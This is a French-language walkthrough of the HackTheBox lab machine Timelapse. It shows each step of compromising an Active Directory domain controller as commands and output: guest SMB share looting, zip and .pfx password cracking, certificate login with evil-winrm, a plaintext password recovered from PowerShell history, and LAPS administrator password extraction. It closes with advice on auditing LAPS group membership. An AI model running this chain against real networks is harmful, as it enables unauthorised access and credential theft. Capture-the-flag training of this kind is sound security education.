HACKTHEBOX - TIMELAPSE
Link : https://app.hackthebox.com/machines/Timelapse
Enumeration
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-17 17:55:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.70 seconds
On constate que le port correspondant à SMB est ouvert (TCP/445). On peut essayer d'énumérer les shares avec crackmapexec :
Output copiable
crackmapexec smb 10.10.11.152 --shares -u 'Guest' -p ''
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\Guest:
SMB 10.10.11.152 445 DC01 [+] Enumerated shares
SMB 10.10.11.152 445 DC01 Share Permissions Remark
SMB 10.10.11.152 445 DC01 ----- ----------- ------
SMB 10.10.11.152 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.152 445 DC01 C$ Default share
SMB 10.10.11.152 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.152 445 DC01 NETLOGON Logon server share
SMB 10.10.11.152 445 DC01 Shares READ
SMB 10.10.11.152 445 DC01 SYSVOL Logon server share
En général, les 2 comptes à tester par défaut sont "Guest:" et ":" (Null user). Ici, seul le compte Guest est disponible.
On remarque que l'on a accès à un share nommé "Shares". On peut essayer de le télécharger avec smbclient :
Output copiable
smbclient -U 'Guest' //10.10.11.152/Shares
Password for [WORKGROUP\Guest]:
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \Dev\winrm_backup.zip of size 2611 as Dev/winrm_backup.zip (9.7 KiloBytes/sec) (average 9.7 KiloBytes/sec)
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as HelpDesk/LAPS.x64.msi (940.6 KiloBytes/sec) (average 768.6 KiloBytes/sec)
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as HelpDesk/LAPS_Datasheet.docx (276.4 KiloBytes/sec) (average 667.3 KiloBytes/sec)
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as HelpDesk/LAPS_OperationsGuide.docx (1233.0 KiloBytes/sec) (average 792.2 KiloBytes/sec)
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as HelpDesk/LAPS_TechnicalSpecification.docx (312.7 KiloBytes/sec) (average 749.1 KiloBytes/sec)
On a quelques fichiers correspondant à LAPS et un fichier zip correspondant a winRM. Mon hypothèse, c'est que les fichiers LAPS seront utiles pour l'escalation de privilèges, mais que nous devons nous concentrer sur ce zip dans un premier temps.
Exploitation
Crack du fichier zip
Le fichier zip est protégé par un mot de passe. On peut le cracker avec zip2john et john :
Output copiable
zip2john winrm_backup.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-07-17 12:07) 3.333g/s 11632Kp/s 11632Kc/s 11632KC/s surkerior..sulin01
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Le mot de passe étant retrouvé (supremelegacy), on peut extraire le contenu du zip. Ce dernier contient un fichier .pfx
Extraction du .pfx et connexion winRM
Ce .pfx peut servir pour une authentification winRM. On peut donc essayer de se connecter avec evil-winrm, mais il faut d'abord extraire deux fichiers de ce .pfx :
- Le certificat en .pem
- La clé privée en .key
Voici des tableaux récapitulant l'utilité de ces fichiers :
Fichier .pfx (Personal Information Exchange) |
---|
Extension : .pfx |
Utilité : Le fichier .pfx est un format de fichier binaire qui contient généralement un certificat SSL (X.509) ainsi que la clé privée associée dans une structure de données chiffrée. |
Contenu : Le fichier .pfx est souvent utilisé pour stocker un certificat SSL avec sa clé privée protégée par un mot de passe. Il peut contenir un seul certificat avec la clé privée correspondante ou parfois plusieurs certificats avec leurs clés privées dans une archive chiffrée. |
Fichier .pem (Privacy-Enhanced Mail) |
---|
Extension : .pem |
Utilité : Le fichier .pem contient généralement un certificat SSL (X.509) ou une chaîne de certificats, qui permet d'authentifier l'identité du serveur. |
Contenu : Le fichier .pem est un fichier texte ASCII qui peut contenir un ou plusieurs certificats, ainsi que leur clé publique associée. Il peut également contenir la clé privée associée au certificat. |
Fichier .key (Clé privée) |
---|
Extension : .key |
Utilité : Le fichier .key contient la clé privée qui correspond à la clé publique contenue dans le fichier .pem. |
Contenu : Le fichier .key est un fichier binaire qui doit rester strictement confidentiel, car il permet de déchiffrer les données sécurisées échangées entre le client et le serveur. |
Le .pfx étant protégé par un mot de passe également, on peut le cracker avec pfx2john et john :
Output copiable
pfx2john legacyy_dev_auth.pfx > pfx.hash
john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:19 DONE (2023-07-17 12:09) 0.05107g/s 165053p/s 165053c/s 165053C/s thurgkub..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
On peut ensuite extraire les deux fichiers avec openssl :
openssl pkcs12 -in legacyy_dev_auth.pfx -out certificate.pem
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out privatekey.key -nodes
evil-winrm -i 10.10.11.152 -k privatekey.key -c certificate.pem -S
*Evil-WinRM* PS C:\Users\legacyy\Documents>
Bien veiller a mettre le "-S" sur evil-winrm. Cela active SSL, et permet l'authentification via certificat.
Privilège Escalation
Extraction de l'historique des commandes
Une fois connecté via legacyy, en cherchant, on trouve l'historique des commandes. Par défaut, il est situé dans le répertoire C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
On trouve un compte (svc_deploy) avec un mot de passe en clair. On peut donc se connecter avec evil-winrm.
Lateral movement
evil-winrm -i 10.10.11.152 -u "svc_deploy" -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
Puis on regarde les groupes auxquels appartient svc_deploy :
Get-ADUser -Identity "svc_deploy" -Properties *
Ce qui va nous intéresser, c'est ces informations.
DisplayName : svc_deploy
DistinguishedName : CN=svc_deploy,CN=Users,DC=timelapse,DC=htb
<SNIP>
MemberOf : {CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb, CN=Remote Management Users,CN=Builtin,DC=timelapse,DC=htb}
Ici, on voit que le compte svc_deploy appartient au groupe LAPS_Readers. Ce groupe est un groupe qui permet de lire les mots de passe stockés dans LAPS.
LAPS (Local Administrator Password Solution) est une solution développée par Microsoft qui permet de gérer automatiquement les mots de passe des comptes locaux Administrateur sur les ordinateurs Windows. Elle vise à renforcer la sécurité en évitant l'utilisation de mots de passe par défaut identiques pour les comptes Administrateur locaux sur chaque ordinateur.
Il est préférable d'activer LAPS, afin d'éviter d'avoir le même mot de passe administrateur local sur chaque serveur. En effet, ce dernier est important, et doit être complexe, mais aussi différent pour chaque machine
Les comptes qui devraient avoir le role LAPS_Readers sont :
- Les comptes d'administration
- Les comptes de services spécifiques (type bastion par exemple, pour donner un accès administratif à un administrateur)
Maintenant, nous avons 2 outils nous permettant d'avoir le mot de passe administrateur local :
Extraction du mot de passe LAPS avec crackmapexec
crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
Output copiable
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.10.11.152 389 DC01 [*] Getting LAPS Passwords
LAPS 10.10.11.152 389 DC01 Computer: DC01$ Password: 62,y9zd63Oo(01EWvsq$%w],
Puis nous pouvons utiliser ce mot de passe pour nous connecter en tant qu'administrateur local, et donc récupérer le flag
Extraction du mot de passe LAPS avec Get-ADComputter
Get-ADComputer -Identity "ComputerName" -Properties ms-Mcs-AdmPwd
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : 62,y9zd63Oo(01EWvsq$%w],
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
Idem, on peut utiliser le mot de passe afin d'avoir le flag root
LAPS est comme un couteau. Il est très utile (car permettant d'avoir des mots de passe d'administrateurs locaux diffénrents pour chaque machine), mais il peut être dangereux si mal utilisé.
Il faut surtout bien revoir qui à accès aux rôles LAPS_Reader
et LAPS_Administrator
.
En effet, si un attaquant compromet un compte ayant ce rôle, il pourra récupérer le mot de passe administrateur local de toutes les machines.
Vous pouvez faire la revue des comptes ayant ces droits privilégiés avec la commande suivante :
Get-ADGroupMember -Identity "LAPS_Readers" -Recursive | Get-ADUser -Properties MemberOf | Select-Object Name, MemberOf
Name MemberOf
---- --------
svc_deploy {CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb, CN=Remote Management Users,CN=Builtin,DC=timelapse,DC=htb}
Get-ADGroupMember -Identity "LAPS_Administrators" -Recursive | Get-ADUser -Properties MemberOf | Select-Object Name, MemberOf